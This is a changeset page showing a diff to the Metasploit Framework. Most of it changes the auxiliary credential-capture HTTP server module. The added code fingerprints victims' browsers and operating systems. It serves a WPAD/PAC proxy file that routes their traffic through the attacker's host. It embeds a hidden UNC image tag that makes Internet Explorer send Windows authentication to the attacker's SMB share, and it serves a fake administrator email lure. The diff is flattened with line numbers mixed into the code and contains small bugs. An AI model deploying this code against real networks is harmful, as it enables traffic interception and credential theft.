Changeset 5477
- Timestamp:
- 04/17/08 20:33:09 (3 weeks ago)
- Files:
Legend:
- Unmodified
- Added
- Removed
- Modified
- Copied
- Moved
framework3/trunk/lib/rex/io/stream_server.rb
r5015 r5477 176 176 end 177 177 } 178 179 rescue ::Rex::StreamClosedError => e 180 # Remove the closed stream from the list 181 clients.delete(e.stream) 178 182 rescue 179 183 elog("Error in stream server client monitor: #{$!}") framework3/trunk/modules/auxiliary/server/capture/http.rb
r5459 r5477 72 72 def on_client_data(cli) 73 73 begin 74 case cli.request.parse(cli.get) 74 data = cli.get_once(-1, 5) 75 case cli.request.parse(data) 76 75 77 when Rex::Proto::Http::Packet::ParseCode::Completed 76 78 dispatch_request(cli, cli.request) … … 80 82 close_client(cli) 81 83 end 82 rescue EOFError 83 if (cli.request.completed?) 84 dispatch_request(cli, cli.request) 85 86 cli.reset_cli 87 end 88 89 close_client(cli) 90 end 84 rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET 85 rescue ::Exception 86 print_status("Error: #{$!.class} #{$!} #{$!.backtrace}") 87 end 88 89 close_client(cli) 91 90 92 91 end 93 92 94 93 def close_client(cli) 94 cli.close 95 95 end 96 96 97 97 def dispatch_request(cli, req) 98 99 os_name = nil 100 os_type = nil 101 os_vers = nil 102 os_arch = 'x86' 103 104 ua_name = nil 105 ua_vers = nil 106 107 ua = req['User-Agent'] 108 109 case (ua) 110 when /rv:([\d\.]+)/ 111 ua_name = 'FF' 112 ua_vers = $1 113 when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/: 114 ua_name = 'IE' 115 ua_vers = $1 116 when /Version\/(\d+\.\d+\.\d+).*Safari/ 117 ua_name = 'Safari' 118 ua_vers = $1 119 end 120 121 case (ua) 122 when /Windows/ 123 os_name = 'Windows' 124 when /Linux/ 125 os_name = 'Linux' 126 when /iPhone/ 127 os_name = 'iPhone' 128 os_arch = 'armle' 129 when /Mac OS X/ 130 os = 'Mac' 131 end 132 133 case (ua) 134 when /PPC/ 135 os_arch = 'ppc' 136 end 137 138 os_name ||= 'Unknown' 98 139 99 140 mysrc = Rex::Socket.source_address(cli.peerhost) … … 115 156 end 116 157 158 159 if(req.resource =~ /\.eml$/) 160 eml = "To: User\r\nFrom: Support\r\nSubject: Failed to connect\r\n\r\nInternet access has been prohibited by the administrator\r\n" 161 res = 162 "HTTP/1.1 200 OK\r\n" + 163 "Host: #{hhead}\r\n" + 164 "Content-Type: message/rfc822\r\n" + 165 "Content-Length: #{eml.length}\r\n" + 166 "Connection: Close\r\n\r\n#{eml}" 167 print_status("HTTP EML sent to #{cli.peerhost}") 168 cli.put(res) 169 return 170 171 end 172 117 173 if(req.resource =~ /^wpad.dat|.*\.pac$/i) 118 174 prx = "function FindProxyForURL(url, host) { return 'PROXY #{mysrc}:#{@myport}'; }" … … 128 184 end 129 185 130 print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource} ")186 print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers}") 131 187 132 188 … … 150 206 151 207 152 153 # SMB MITM / RELAY 154 208 # Background image 155 209 body_extra = "" 156 210 if(@bgimage) … … 193 247 194 248 195 196 data = "<html><head><title>Connecting...</title></head><body>#{body_extra}<img src='\\\\#{mysrc}\\public\\loading.jpg' width='1' height='1'></body></html>" 249 data = "<html><head><title>Connecting...</title></head><body>#{body_extra}" 250 if(ua_name == "IE") 251 data << "<img src='\\\\#{mysrc}\\public#{Time.now.to_i.to_s}\\loading.jpg' width='1' height='1'>" 252 end 253 254 data << "</body></html>" 255 197 256 res = 198 257 "HTTP/1.1 200 OK\r\n" + 199 258 "Host: #{mysrc}\r\n" + 259 "Expires: 0\r\n" + 260 "Cache-Control: must-revalidate\r\n" + 200 261 "Content-Type: text/html\r\n" + 201 262 "Content-Length: #{data.length}\r\n" + … … 207 268 end 208 269 209 210 211 270 end 212 271 end
